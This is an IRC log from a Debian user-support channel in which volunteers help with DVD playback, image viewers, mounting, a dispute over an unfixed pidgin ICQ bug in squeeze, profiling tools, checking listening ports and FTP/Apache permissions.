| 15:26.34 | sninky | Is that the name they gave the latest debian release. squeeze ? |
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| 15:26.53 | abrotman | sninky: yes |
| 15:27.04 | sninky | I'm so essited ! |
| 15:27.31 | netrix01 | just go through the list of characters on toy story, it'll always be one of them lol |
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| 15:28.29 | sninky | Should I get candidate 2 release? whats the diff between the candidates. |
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| 15:29.15 | sninky | nm |
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| 15:31.12 | abrotman | sninky: debian.org .. follow the links |
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| 15:31.21 | abrotman | sninky: it's not like they try to hide the installer :) |
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| 15:37.40 | webad_13 | how can I open all images in one folder at once using terminal? - so I would like to open separate instances of eog for example each one showing one image |
| 15:38.05 | ecksun | for i in *; do eog $i; done |
| 15:38.10 | ecksun | perhaps? |
| 15:38.32 | valdyn | ecksun: at once |
| 15:38.41 | webad_13 | hmmm, ecksun I was hoping for something nicer... I did it similarly with find -exec |
| 15:39.00 | ecksun | valdyn, that kinda depends on how you look at it :p |
| 15:39.22 | valdyn | webad_13: how can it be nicer? |
| 15:39.35 | webad_13 | valdyn like eog * :) |
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| 15:39.57 | webad_13 | or an option to eog that does that... |
| 15:40.17 | valdyn | webad_13: eog * works according to manpage |
| 15:40.30 | valdyn | webad_13: doesnt say what that does though |
| 15:40.54 | webad_13 | for me it opens one photo, the first one |
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| 15:41.00 | ecksun | webad_13, why do you want to open images like that? |
| 15:41.04 | abrotman | it opens them in a single window .. you have to scroll through them |
| 15:41.21 | webad_13 | abrotman: yeah, and I would like to have separate windows |
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| 15:41.32 | webad_13 | I also have f-spot if that is any better for this |
| 15:41.56 | jhutchins_lt | I use kuickshow. |
| 15:42.18 | abrotman | webad_13: did you try eog -n ? |
| 15:42.27 | valdyn | you can always hack a quick webpage |
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| 15:43.26 | abrotman | webad_13: feh might be able to do it with the -w option |
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| 15:45.09 | webad_13 | abrotman: thank you that is exactly what I was looking for |
| 15:45.21 | webad_13 | feh -w... it would be good if eog also had this |
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| 15:45.51 | abrotman | webad_13: file a wishlist bug |
| 15:46.47 | webad_13 | abrotman: ok, thank you for this tip |
| 15:47.17 | abrotman | have fun |
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| 15:53.36 | tauntaun | I can't get movie player to play (encrypted) DVDs. The web is littered with pages that advise installing libdvdcss and libdvdread, but my apt-get can't find these. As for the chalmers.se site, it is unreachable. What do I need to do to play a simple DVD in Debian? |
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| 15:54.22 | abrotman | !tell tauntaun about dmm |
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| 15:55.44 | swilson06 | tauntaun: it works under every platform - VLC |
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| 15:57.01 | twobitsprite | swilson06: I don't think the VLC package in the official repos will play DVDs, I still think you need to get it from DMM |
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| 15:58.49 | th0r | swilson06: the vlc in the repos can play dvd's, but you will need to add libdvdcss2 from dmm |
| 15:59.12 | swilson06 | ^^ that makes sense |
| 15:59.34 | th0r | swilson06: while you are at it, also add w32codecs from dmm as well |
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| 16:00.19 | swilson06 | doesn't /play/ anything on linux. |
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| 16:00.37 | swilson06 | runs services on linux. |
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| 16:02.22 | swilson06 | oh, i also write perl, but then that generally terns into a part of a service or a parser for something from a service... |
| 16:03.46 | tauntaun | I've edited my sources file, and I still can't apt-get install any of the packages you've referred to. |
| 16:03.59 | tauntaun | (Except VLC) |
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| 16:05.28 | tauntaun | Ah, nevermind, I've finally gotten your bot to talk. |
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| 16:21.41 | tauntaun | Well I can now play DVDs, but the picture quality is noticeably poorer than what I had with Ubuntu 10.04, and the sound is barely audible. I'm looking around the web for fixes, but it might also help if I knew: is debian-multimedia-keyring the "best and latest" package? |
| 16:21.56 | abrotman | tauntaun: check your mixer settings |
| 16:22.06 | abrotman | not sure about the picture though |
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| 16:22.44 | mjmt | Anyone find Evince annoying, and know of a better alternative? |
| 16:23.00 | Tigerboy | tauntaun what video card do you have |
| 16:24.34 | abrotman | mjmt: xpdf? kpdf? personally, i like evince |
| 16:24.38 | mjmt | I don't think I've ever had its page numbering equate to actual pages, and searching rebuilds an index every time. |
| 16:24.54 | tauntaun | abrotman: if by 'mixer' you mean 'volume control', then mine is maxed out. |
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| 16:25.12 | tauntaun | Tigerboy: I can't find the ubuntu-style drop down menu item for hardware. |
| 16:25.22 | abrotman | tauntaun: alsamixer |
| 16:25.23 | tauntaun | Is there a command I can enter in a shell? |
| 16:25.36 | abrotman | tauntaun: lspci -nn |
| 16:25.48 | abrotman | mjmt: eh ... that's how all PDFs are |
| 16:26.10 | tauntaun | Tigerboy: Audio device [0403]: Intel Corporation 82801H (ICH8 Family) HD Audio Controller [8086:284b] (rev 02) |
| 16:26.30 | daemonkeeper | abrotman: kpdf has been superseded by okular since quite a while (since KDE 4 that is). |
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| 16:27.14 | abrotman | daemonkeeper: oh yeah .. i wish they'd stop doing that :) |
| 16:27.30 | abrotman | tauntaun: he wanted your video card, not your sound card |
| 16:27.52 | daemonkeeper | Well, okular is a document viewer incorporating most of kpdf's features fore a wide variety of other document formats. |
| 16:28.26 | daemonkeeper | *for |
| 16:28.53 | abrotman | daemonkeeper: i'm kidding .. |
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| 16:29.09 | daemonkeeper | Just for the record :> |
| 16:29.13 | mjmt | I'll check out okular... doesn't need konqueror does it? |
| 16:29.19 | daemonkeeper | No |
| 16:29.29 | mjmt | Great, thanks. |
| 16:29.31 | daemonkeeper | Since konqueror has been superseded by dolphin :p |
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| 16:29.38 | daemonkeeper | (As document browser that is) |
| 16:29.44 | daemonkeeper | s/document/file/ |
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| 16:29.59 | tauntaun | abrtoman: mixer settings worked (for headphone). Thank you! |
| 16:30.07 | Tigerboy | tauntaun: try to find a package called hardware lister |
| 16:30.18 | lduros | Hi, does anybody know how to change the x configuration for wacom tablets. I've posted this but got no answer yet: http://forums.debian.net/viewtopic.php?f=7&t=67135 -- thought someone here might know. thanks. |
| 16:30.24 | Tigerboy | it's a gtk so it will provide a good user interface |
| 16:30.32 | tauntaun | Tigerboy: VGA compatible controller [0300]: Intel Corporation Mobile GM965/GL960 Integrated Graphics Controller [8086:2a02] (rev 0c) |
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| 16:30.51 | tauntaun | Is that the info you wanted? |
| 16:31.00 | Tigerboy | Tauntaun: just a min |
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| 16:32.28 | Tigerboy | tauntaun: try to run glxgears in the terminal |
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| 16:33.48 | Tigerboy | tauntaun: can you see spinning gears or not |
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| 16:35.11 | abrotman | that card should just work |
| 16:35.13 | tauntaun | Tigerboy: yes, I can. |
| 16:35.17 | Tigerboy | tauntaun: the drivers for that graphics card/gpu are all 100 percent open source so it should be easy to track down. |
| 16:35.50 | Tigerboy | tauntaun: can you see frames per second or else ctrl-c and type glxinfo and copy one of the lines to chat |
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| 16:36.32 | abrotman | glxgears is not a benchmark |
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| 16:37.26 | honschu | Why does this bug not get fixed??? http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=634853 |
| 16:38.03 | abrotman | honschu: did you submit a patch ? |
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| 16:40.26 | tauntaun | Tigerboy: FPS started at 283 but have dropped to between 150 and 180. |
| 16:40.42 | abaddon | honschu icq works in wheezy |
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| 16:41.22 | abaddon | try unchecking some checkboxes on the auth screen, with no encryption and no to that ClientAuth thing, somehting like that |
| 16:41.41 | UltimediaOS | i wish this would work: mount /media/sda{3,5,6} is there another way of doing it. |
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| 16:42.31 | karlpinc_ | UltimediaOS: for p in 3 5 6 ; do mount /media/sda$p ; done |
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| 16:43.03 | UltimediaOS | hehe ok too long |
| 16:43.10 | UltimediaOS | without doing a loop |
| 16:43.28 | UltimediaOS | mkdir for instance accepts that syntax |
| 16:43.35 | honschu | abrotman: this is my bugreport!!! |
| 16:44.37 | stew | UltimediaOS: "mount -a"? (mounts everything in /etc/fstab) or "mount /dev/sda3 ; mount /dev/sda5 ; mount /dev/sda6" |
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| 16:44.46 | karlpinc_ | honschu: If nobody submits a patch it won't get fixed. In general stuff does not get fixed in stable, although there are exceptions that go through squeeze-updates and this might or might not be one. |
| 16:44.51 | UltimediaOS | stew i know |
| 16:45.23 | Tigerboy | tauntaun: deb is very picky about non-free purity so a good idea is to add contrib non-free to the ends of all the repository lines in your /etc/apt/sources.list file. also add multimedia repos |
| 16:45.39 | UltimediaOS | that was just an idea to extend the mount command |
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| 16:46.10 | karlpinc_ | UltimediaOS: Ideas are cheap. Maintainers want code and man page patches. |
| 16:46.12 | honschu | karlpinc_: I don't write a patch if it only _might_ get into squeeze-updates. |
| 16:46.16 | babilen | <PROTECTED> |
| 16:46.30 | UltimediaOS | iam cheap |
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| 16:46.33 | UltimediaOS | thats it |
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| 16:46.36 | abrotman | honschu: so you can't submit a patch ? |
| 16:46.57 | stew | UltimediaOS: but "mount foo bar" means mount foo in directory bar |
| 16:47.11 | stew | UltimediaOS: so making it also mean "mount foo and bar" makes it ambiguous |
| 16:47.21 | abrotman | honschu: the DD has acknowledged the bug .. he may be working on a fix .. did you try asking in the BTS if there is a fix coming, or what the status is? |
| 16:47.35 | honschu | abrotman: I could if only technical issues would block it from beeing applied. Not stupid political might-updates for squeeze :-( !!! |
| 16:47.48 | UltimediaOS | stew then thats the reason why they did not implemented it allready |
| 16:47.59 | honschu | abrotman: Which Bug-Number? |
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| 16:48.09 | babilen | honschu: You could also try to backport the version in sid -- /msg dpkg ssb -- ICQ might work there. |
| 16:48.12 | abrotman | honschu: read your bug again |
| 16:48.17 | Tigerboy | tauntaun: I would guess your fps (per sec) should be 490 or so |
| 16:48.18 | karlpinc_ | honschu: Seeing has how it's fixed in wheezy it might make sense to backport a patch. squeeze-updates is for things that change, like virus signatures and, possibly protocol changes that require patches. You need to talk with the people responsible for squeeze-updates to see what the policy is in this case. |
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| 16:48.28 | jelly | honschu: if you need it ASAP you can backport the whole thing |
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| 16:49.04 | babilen | honschu: "Fixed in recent versions." → comment by ari in a merged report |
| 16:49.05 | yeshellothere | hey guys, so i have a super weird problem, i use a debian box as a router at a site, and last night its internet connection died at the ISP side |
| 16:49.05 | jelly | pidgin _is_ a good candidate for stable-updates or those new sloppy updates |
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| 16:49.06 | honschu | jelly: I know - but that's not the case here. |
| 16:49.13 | yeshellothere | they brought it back up today, but now the internet will only work if that particular interface is in promisc |
| 16:49.20 | Tigerboy | tauntaun: the multimedia repo -- deb http://www.debian-multimedia.org squeeze main contrib non-free |
| 16:49.20 | Tigerboy | <PROTECTED> |
| 16:49.24 | yeshellothere | the destination and source macs and ip addresses all look right |
| 16:49.29 | yeshellothere | but if i turn off promisc, i lose all inbound packets |
| 16:49.34 | honschu | babilen: Yes, So it means - it wouldn't get fixed in squeeze!!! |
| 16:49.36 | yeshellothere | anyone got any experience with anything like this? |
| 16:49.41 | jelly | babilen: that "fixed", however, doesn't help a user of Debian 6 |
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| 16:50.15 | babilen | jelly: I know, it is just that I wasn't sure if this is a problem in later versions too. |
| 16:50.39 | honschu | babilen: So now you know it: It's not! |
| 16:51.02 | jelly | honschu: oh, if you don't need it right away you can wait for the next release I guess :-| |
| 16:51.09 | karlpinc_ | yeshellothere: Are you sure you've assigned the "right" ip to the interface? Perhaps something else on the ISP's network has the IP. |
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| 16:51.28 | babilen | honschu: What is not? I was suggesting to create a backport of the version in sid. Are you sure that this version is not working? |
| 16:51.31 | abrotman | honschu: the DD says it is, and another person in this channel told you it was |
| 16:51.37 | yeshellothere | karlpinc_: the ISP is addressing them to the correct mac address |
| 16:51.42 | yeshellothere | and the correct IP |
| 16:51.47 | honschu | jelly: Yes, just everybody has to wait. Nice job! |
| 16:51.48 | yeshellothere | so i guess so, none of the config has changed |
| 16:51.55 | karlpinc_ | yeshellothere: Hardware? |
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| 16:52.12 | abrotman | honschu: it's fixed in newer versions |
| 16:52.14 | yeshellothere | karlpinc_: it could be, but it seems fairly unlikely |
| 16:52.17 | honschu | babilen: The new from testing would work - but I don't care about backporting things. |
| 16:52.31 | jelly | honschu: _you_ don't have to wait, you have the option to make and use a local backport |
| 16:52.35 | babilen | honschu: Ok, I can live with that. |
| 16:52.37 | karlpinc_ | yeshellothere: You could try completely powering down, waiting a bit, and powering up just to reset all the hardware. |
| 16:52.42 | yeshellothere | hmm |
| 16:52.44 | yeshellothere | what's also odd |
| 16:52.45 | honschu | abrotman: so? |
| 16:52.50 | yeshellothere | is that there's data going out of this net that should not be there |
| 16:53.02 | abrotman | closes the ICQ-pidgin bug |
| 16:53.08 | babilen | +1 |
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| 16:53.24 | jelly | abrotman: it's already closed! :-D |
| 16:53.50 | fleischergesell | Does anybody happen to have some benchmark numbers handy for a 6-7 disk (sata 7200rpm) mdadm softraid6? |
| 16:54.09 | karlpinc_ | yeshellothere: If you're in promiscuous mode and your isp is bridging you'll see all the other customer's traffic too. |
| 16:54.37 | yeshellothere | karlpinc_: they aren't bringing, and i don't see any neighbour traffic, only broadcasts |
| 16:54.50 | jelly | karlpinc_: oh dear goodness surely there are no ISPs with such a broken config |
| 16:55.31 | yeshellothere | jelly: well something very odd is going on for us :( |
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| 16:58.56 | abrotman | jelly: oh, you're right, didn't even notice .. |
| 16:59.10 | jelly | so problem solved |
| 16:59.39 | abrotman | apparently so .. |
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| 17:00.03 | jelly | honschu: Debian stable is a very decent base to build a working system on, but if you need to backport stuff to make your users happy, by all means do so |
| 17:00.52 | jelly | !wheezy pool 1 |
| 17:00.52 | dpkg | ! jordanm=2013-08-21 peterrooney=2013-02-08 Arrowmaster=2012-12-12 simonrvn=2013-03-23 themill=2013-03-15 |
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| 17:01.14 | Arrowmaster | im betting early |
| 17:01.34 | abrotman | betting often ? |
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| 17:02.56 | honschu | jelly: A "working system": No you don't mean that - what you mean is "version stable". ICQ isn't _WORKING_ ! |
| 17:03.55 | abrotman | honschu: and who is at fault?! debian or ICQ? |
| 17:04.10 | abrotman | did you file a bug with ICQ? |
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| 17:04.31 | abrotman | they changed the protocol somehow .. something has been altered, it *used* to work .. they broke it, not Debian |
| 17:04.34 | jelly | honschu: you're repeating yourself, and ranting on irc won't magically fix the issue. I don't know what better solution to offer apart from "backport it" |
| 17:04.39 | stew | honschu: do you think debian stable would be better with no ICQ support all? |
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| 17:05.05 | honschu | stew: It has no ICQ support at all now. This question is obsolete. |
| 17:05.20 | jelly | "I want Debian to fix it right away and provide backports even though most other protocols still work!!!1one" |
| 17:05.30 | honschu | jelly: It's not about backporting, it's about fixing! |
| 17:05.47 | stew | honschu: so would you propose that we have debian remove all ICQ software and be done with it? |
| 17:05.51 | jelly | honschu: when the only fix is a newer version, that's called backporting |
| 17:05.59 | stew | honschu: or is your proposal that debian stable be made no longer stable? |
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| 17:07.05 | stew | honschu: sounds like what you want is a rolling release. debian doesn't currently have one targetted at end-users |
| 17:07.08 | abrotman | oh yeah, i suppose that removing ICQ support would be a 'fix' .. that way we don't claim to support it at all ... |
| 17:07.10 | honschu | It's about fixing the issue and not blaming users with features which are NOT there! |
| 17:07.27 | abrotman | honschu: again .. have you filed a bug with ICQ for breaking their protocol? |
| 17:07.29 | stew | honschu: the issue was fixed in a newer version of the package |
| 17:07.47 | honschu | stew: Fixing in debian squeezy! |
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| 17:07.50 | stew | honschu: sorry |
| 17:07.58 | honschu | squeeze |
| 17:08.15 | jelly | honschu: it's not a highly visible or a security issue, so not likely to be fixed for stable |
| 17:08.16 | stew | honschu: you either a) wait for a backport b) make your own c) use something other than squeeze |
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| 17:08.31 | jelly | honschu: this is how stable has always worked |
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| 17:08.56 | jelly | if things break but not for EVERYONE, it doesn't get fixed, just noted in the bug tracking service |
| 17:09.14 | honschu | jelly: I know, it's stupid because users get blamed and all this newbies will use ubuntu. |
| 17:09.17 | th0r | there are three default entries in the xfce applications menu, Terminal, File Manager, and Web Browser. Does anyone know where these entries are or how to eliminate them? |
| 17:09.34 | tdrusk | Hey guys. Having problems with debian squeeze 32 bit - intel graphics(i believe). When I boot with s-video this happens: http://www.youtube.com/watch?v=7aHleVTLuSY |
| 17:09.41 | jelly | honschu: I'm not sure who blamed the users in this case. |
| 17:09.57 | jelly | honschu: if anything, owners of ICQ are to blame |
| 17:10.00 | stew | honschu: if you think the way debian works is stupid, find a distro you like better. it sounds like you want a rolling distro |
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| 17:10.16 | stew | honschu: afaiu, this would work the same way in ubuntu, but I'm not that familiar with ubuntu |
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| 17:10.33 | honschu | stew: No. |
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| 17:10.45 | jhutchins_lt | One might also note that pidgin is not the only way to access icq in squeeze. |
| 17:11.10 | topyli | isn't empathy the default anyway? |
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| 17:12.44 | jelly | honschu: I don't mind newbies using ubuntu if it suits them better. If I had more than 3-5 installations to support I'd just make a local backport |
| 17:12.45 | honschu | Here and there you have to make exception to get a good stable system for actual users! |
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| 17:13.05 | klapaucjusz | Hi. |
| 17:13.16 | jhutchins_lt | tdrusk: Please describe the problem for those who do not wish to watch videos. |
| 17:13.23 | klapaucjusz | Where do I find /usr/bin/perf on a machine running stable? |
| 17:13.24 | jelly | hell I had to backport my ntp daemon from upstream sources the other day because it broke with Linux 3.0 |
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| 17:14.15 | stew | honschu: this is exactly why backports was creataed |
| 17:14.18 | honschu | jelly: One more again: It's not about backporting things, it's about users. What is a "stable" system good for if it gets renderd obsolet. |
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| 17:14.49 | stew | honschu: instead of arguing about how you don't like debian, please just go find a more suitable distro |
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| 17:15.05 | honschu | stew: Yes, but it's freaky obsolete too if everybody has to use backports if he want's to actually use the software. |
| 17:15.20 | stew | honschu: but for some reason, people still use debian stable... |
| 17:15.25 | grindhold | hello there. i run debian sid. does apt-get have any logfile, that logs the timestamp of a installation / removal of packages? i came home today and rhythmbox was simply deinstalled. seems weird |
| 17:15.28 | jhutchins_lt | honschu: There are dozens of icq capable clients. A temporary loss of one of many features in pidgin does not count as a serious problem. |
| 17:15.41 | honschu | stew: If from 100 Points, 1 is bad - ... don't argue like that |
| 17:15.41 | stew | grindhold: /var/log/dpkg.log ; aptitude has its own log, but not apt-get |
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| 17:15.53 | grindhold | stew thanks! |
| 17:15.54 | jhutchins_lt | honschu: Use a different client or use a different protocol. |
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| 17:16.17 | jhutchins_lt | I don't think this ongoing rant is on topic here. |
| 17:16.24 | UltimediaOS | is it about pidgin and icq? |
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| 17:16.32 | honschu | yes |
| 17:16.35 | jhutchins_lt | UltimediaOS: Yeah, in squeeze. |
| 17:16.38 | valdyn | honschu: youre not argueing one point, your claiming you know better than debian on what one of the distros key featues should be |
| 17:17.00 | honschu | it's a bug, not a feature |
| 17:17.04 | UltimediaOS | weve used oscar from Ubuntu and used the debian original |
| 17:17.07 | UltimediaOS | its a mix |
| 17:17.11 | valdyn | honschu: thats just you saying this |
| 17:17.19 | klapaucjusz | How do I get perf on a machine running stable? Do I need to compile my own? |
| 17:17.31 | UltimediaOS | should work on squeeze |
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| 17:17.52 | jhutchins_lt | klapaucjusz: perf? |
| 17:18.16 | jelly | honschu: sometimes it's better and faster to fix problems for your users yourself instead of waiting for the distro |
| 17:18.24 | Bushmills | klapaucjusz: is in linux-base |
| 17:18.36 | stew | honschu: or you could help the distro by creating a backport that others can use as well |
| 17:18.39 | Bushmills | dpkg -L linux-base shows |
| 17:18.40 | dpkg | No packages found matching linux-base shows |
| 17:18.45 | jelly | honschu: how many users are you managing? |
| 17:18.53 | klapaucjusz | Bushmills: W: Unable to locate package linux-base |
| 17:18.55 | stew | honschu: it can be uploaded to backports as of yesterday, now its just waiting for someone to volunteer to backport it |
| 17:19.02 | UltimediaOS | http://packages.ultimedia-linux.org/ultimedia/pool/main/p/pidgin/ this pidgin works on squeeze and has ICQ in it |
| 17:19.29 | klapaucjusz | It looks like there's no linux-base in stable. |
| 17:19.37 | jelly | UltimediaOS: bonus points for the relevant, targeted ad! :-D |
| 17:19.49 | Bushmills | ,versions linux-base |
| 17:19.49 | judd | Package linux-base on i386 -- lenny-backports: 2.6.32-31~bpo50+1; squeeze-security: 2.6.32-34squeeze1; squeeze: 2.6.32-35; squeeze-backports: 3.2~bpo60+1; sid: 3.3; wheezy: 3.3 |
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| 17:20.16 | klapaucjusz | judd: thanks. |
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| 17:20.31 | klapaucjusz | (Unfortunately, it means that I need to ask permission to install backports on this server.) |
| 17:20.40 | honschu | UltimediaOS: Thanks, but that's not the thing I'm ranting about. |
| 17:20.43 | klapaucjusz | (I guess it's as simple to roll my own.) |
| 17:21.19 | Bushmills | squeeze: 2.6.32-35 <- squeeze is stable |
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| 17:21.57 | honschu | debian is version-stable not feature-stable! |
| 17:22.23 | jelly | honschu: correct |
| 17:22.46 | stew | fsvo feature |
| 17:22.47 | honschu | debian squeeze is version-stable not feature-stable! ... so here and there it just sucks! |
| 17:22.52 | klapaucjusz | Bushmills: 5.0 is squeeze, right? |
| 17:23.02 | wols | no. 6.0 is squeeze |
| 17:23.06 | jelly | honschu: what are you going to do to about it |
| 17:23.06 | Bushmills | nope |
| 17:23.15 | stew | honschu: can we please just move on? |
| 17:23.19 | klapaucjusz | Ah, the server is running 5.0 |
| 17:23.21 | klapaucjusz | Grr. |
| 17:23.23 | honschu | jelly: Steeling your time *hahaha* |
| 17:23.27 | jhutchins_lt | Would the ops kindly move this rant elsewhere? |
| 17:23.28 | stew | honschu: this is really long past being productive |
| 17:23.34 | klapaucjusz | thanks for the info. |
| 17:24.00 | jhutchins_lt | klapaucjusz: THe .32 kernel is available for 5.0 as a backport. |
| 17:24.13 | jhutchins_lt | klapaucjusz: Ah, I see you know that. |
| 17:24.21 | klapaucjusz | It's running 2.6.26. |
| 17:24.38 | klapaucjusz | I guess it's time to move the server to squeeze. |
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| 17:25.15 | jhutchins_lt | klapaucjusz: You're trying to find linux-base for the .26 kernel? |
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| 17:25.37 | klapaucjusz | jhutchins_lt: I'm trying to profile a daemon running on a server running .26. |
| 17:25.52 | klapaucjusz | Perf is what has worked for me in the past, so I naturally started looking for perf. |
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| 17:26.04 | klapaucjusz | But I guess I'm stuck with gprof for now. |
| 17:26.05 | jhutchins_lt | klapaucjusz: Which is in linux-base? |
| 17:26.15 | klapaucjusz | Aye. |
| 17:26.27 | jhutchins_lt | Ok, the .26 version ought to be available in snapshots: |
| 17:26.30 | jhutchins_lt | !snapshots |
| 17:26.30 | dpkg | http://snapshot.debian.org/ is an archive of almost all Debian packages uploaded since 2005, including those removed from the official archives because they were very buggy, unusable, broken, vulnerable or in some way non-free. This service replaces the old http://snapshot.debian.net/ site that is no longer maintained. http://www.debian.org/News/2010/20100412 |
| 17:26.32 | stew | klapaucjusz: why can't you use perf from linux-base? |
| 17:27.29 | klapaucjusz | stew: because the machine is running oldstable, which does not have linux-base. And I'm not going to install something from backports without the administrator. Who's on holiday. |
| 17:27.37 | jhutchins_lt | klapaucjusz: It may even be available in the main repo, but you might have to pin it to prevent security from overwriting it. Not entirely sure how that works. |
| 17:27.49 | klapaucjusz | Nah, I won't bother. |
| 17:28.01 | klapaucjusz | It's a single binary, I'll compile it from sources in my own $HOME. |
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| 17:28.32 | stew | klapaucjusz: you could skip the compile and just use the binary from the .deb |
| 17:28.42 | klapaucjusz | Yeah, I guess so. |
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| 17:29.06 | klapaucjusz | (FWIW, the machine is administered by our best beloved jcristau. Woe to who incurs jcristau's wrath.) |
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| 17:29.38 | stew | klapaucjusz: can you not just ask him? i've been chatting with him on irc today |
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| 17:30.06 | klapaucjusz | launches his trusty jabber client. |
| 17:30.13 | klapaucjusz | Yep, he's online. |
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| 17:33.30 | klapaucjusz | ...and he just decided to switch the server to squeeze. Win ;-) |
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| 17:35.00 | stew | its about time that the RT member try out the new release :) |
| 17:35.26 | blubberdiblub | hehe :) |
| 17:35.50 | john_rambo | nmap 127.0.0.1 shows ports 111 & 631 open ....Is that okay ? ufw is enabled |
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| 17:37.03 | blubberdiblub | john_rambo, /etc/services tells you what those services are. probably portmapper (used mostly by nfs) and ipp (used by cups) |
| 17:37.13 | jelly | john_rambo: what are you trying to achieve by doing "nmap 127.0.0.1"? |
| 17:37.41 | Bushmills | john_rambo: port scanning localhost doesn't make much sense, especially when you have netstat |
| 17:38.10 | john_rambo | jelly, Although I am behind arouetr just wanna make sure all my ports are closed |
| 17:38.17 | john_rambo | * a router |
| 17:38.19 | blubberdiblub | yeah, good point, provided that netstat can even tell you what process the ports belong to |
| 17:38.21 | Bushmills | you can't that way |
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| 17:39.25 | jelly | john_rambo: the "lo" interface and its 127.0.0.1 address may have a different set of services listening on than your ethernet interface and its IP address(es) |
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| 17:40.04 | jelly | john_rambo: lo, the loopback interface can only be accessed from the very same machine and thus doesn't offer the data you're looking for |
| 17:40.08 | klapaucjusz | john_rambo: the built-in inetd services don't run on lo. |
| 17:40.16 | john_rambo | Okay ....never used netstat ....please tell me what I need to do ... |
| 17:40.22 | klapaucjusz | sudo netstat -apn is what you want to be doing. |
| 17:40.30 | klapaucjusz | It gives you IPv6 sockets as a side benefit. |
| 17:40.57 | Bushmills | i suppose he wants -l too |
| 17:41.05 | Bushmills | but - there's a man page |
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| 17:41.22 | klapaucjusz | Bushmills: -a includes -l, but yeah. |
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| 17:42.05 | john_rambo | http://pastebin.com/Aeuax0bf |
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| 17:42.53 | john_rambo | klapaucjusz, Bushmills, jelly ^ |
| 17:42.56 | klapaucjusz | john_rambo: are you running NFS? |
| 17:43.05 | john_rambo | klapaucjusz, No |
| 17:43.29 | klapaucjusz | Then you can remove rpcbind from your system. |
| 17:43.33 | Bushmills | john_rambo: we have no benefits knowing what services are running on your machine. that information is something you should use |
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| 17:44.35 | klapaucjusz | ...and you should probably reconfigure cupsd to not listen on the outside. But I don't run cupsd myself, so I cannot help you here. |
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| 17:45.01 | stew | klapaucjusz: wait, there are other things that might be using rpcbind besides nfs |
| 17:45.27 | john_rambo | Havent removed anything yet |
| 17:45.30 | stew | (and cups isn't listening to the outside) |
| 17:45.45 | stew | john_rambo: tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 7675/cupsd |
| 17:45.51 | klapaucjusz | stew: right, sorry for that. john_rambo, forget about cups. |
| 17:45.56 | stew | john_rambo: since it is 127.0.0.1, its only accepting local connections |
| 17:45.58 | john_rambo | klapaucjusz, ok |
| 17:46.13 | stew | klapaucjusz: most people end up with a portmap daemon due to fam |
| 17:46.27 | stew | klapaucjusz: (via libgnomevfs2-0) |
| 17:46.57 | klapaucjusz | Yuck. |
| 17:47.06 | john_rambo | stew, Then everything is ok ? |
| 17:47.06 | klapaucjusz | I never trusted those Gnome people. |
| 17:47.24 | john_rambo | stew, I mean with my insatallation ? |
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| 17:48.13 | zykotick9 | klapaucjusz, i personally end up with portmap for NFS |
| 17:49.05 | subuser | i get the error E: /scripts/local-premount/resume failed with return 255 right after the grub screen, and i can't figure out what to do about it |
| 17:49.13 | subuser | the bootlog doesn't catch it |
| 17:49.22 | stew | portmap allows you to easily bind it to just 127.0.0.1, I don't see as easy of a way with rpcbind |
| 17:49.30 | stew | john_rambo: but yes, i would not tend to worry much about this |
| 17:50.04 | stew | john_rambo: if you are directly exposed to the internet, it would not be a bad idea to block any of these listening ports |
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| 17:50.29 | ws2k3 | hello guys i have a question is it safe to run ftp server and apache2 server as one user? |
| 17:50.45 | subuser | the file /etc/initramfs-tools/conf.d/resume has the RESUME=UUID of my swap partition |
| 17:50.57 | john_rambo | stew, No I am behind a router but still dont want any open ports ..... |
| 17:50.58 | subuser | but cat /proc/swaps shows that the swap is being used |
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| 17:51.32 | subuser | does deleting that one line in that one file make the difference? |
| 17:51.39 | subuser | i read it could be a problem with hibernate |
| 17:52.47 | john_rambo | stew, But presently they are only open to 127.0.0.1 ...so what if even if I am directly exposed to the internet ? |
| 17:53.51 | stew | john_rambo: then someone could connect to them. IF there was some exploit for them, they could exploit. |
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| 17:54.09 | stew | john_rambo: http://security-tracker.debian.org/tracker/CVE-2010-2064 is one known exploit, but it is untested and it is unknown if this could be exploited |
| 17:54.44 | ws2k3 | hello guys i have a question is it safe to run ftp server and apache2 server as one user? |
| 17:54.58 | valdyn | !safe |
| 17:55.09 | stew | ws2k3: many would say that running an ftp server is not safe, depending on what you are doing |
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| 17:56.08 | ws2k3 | i know. i wish to give users some ftp access and i wish that the files in my filesystem that are owner by apache2 are also owner by my ftp users |
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| 17:56.28 | stew | ws2k3: why does apache2 own any files? |
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| 17:56.45 | ws2k3 | i have a litte php control panel |
| 17:56.56 | john_rambo | stew, INterestingly when I do nmap 192.168..... <my local ip only 1 port is shown as open ie port 111 |
| 17:57.02 | ws2k3 | so it somebody start or stops a service via his control panel then that proces is owner by www-data |
| 17:57.15 | valdyn | john_rambo: that ip does not match 127.0.0.1 |
| 17:57.30 | ws2k3 | so the files that that proces generate are also owner by www-data and so not owner by the ftp server |
| 17:57.33 | stew | valdyn: yes but his rpcbind is bound to 0.0.0.0 |
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| 17:59.06 | subuser | nobody else had this problem or seen it? |
| 17:59.12 | ws2k3 | like i already sad i know very little of the debian right and premissions and users system |
| 17:59.22 | subuser | anybody else have the file /etc/initramfs-tools/conf.d/resume set to their swap partition? |
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| 17:59.45 | Igneous | I'm having a lot of problems with various poorly written pieces of software expecting /bin/sh to be bash.. Since I'm going to keep encountering software like this, I figure the best thing to do is do away with dash, and just use bash as /bin/sh. What is the least horrible way to do this? Am I correct in thinking dpkg-divert is the right tool for the job? |
| 17:59.47 | jhutchins_lt | ws2k3: Time to learn.\ |
| 17:59.53 | valdyn | ws2k3: files read by apache dont need to be owned by apache, and they shouldnt be owned by apache |
| 17:59.56 | jhutchins_lt | ws2k3: You'll also want to read the docs for your ftp server. |
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| 18:00.30 | stew | ws2k3: in general, no, this is not the way to do things |
| 18:00.32 | valdyn | ws2k3: that is why theres no point in having both run as the same user |
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| 18:00.53 | stew | ws2k3: and in general, a ftpd runs as root, and then assumes lower privileges depending on who logs into the ftpd |
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| 18:01.13 | stew | ws2k3: but ftpd is by nature, insecure |
| 18:01.15 | ws2k3 | hmm i'm running vsftpd and that is runned by the user nobody |
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| 18:01.39 | subuser | if the swap's mounted and all of my filesystems work, then that's the only thing i could think of as causing an error |
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| 18:01.47 | ws2k3 | i know but because i stil wish to serv ftp i have used the safest ftp server there was and that was vsftpd |
| 18:02.00 | subuser | computer shut down while it was in hibernate from a storm or something, and that one script kept on messing up |
| 18:02.04 | stew | ws2k3: is there a reason to use ftp instead of something like sftp? |
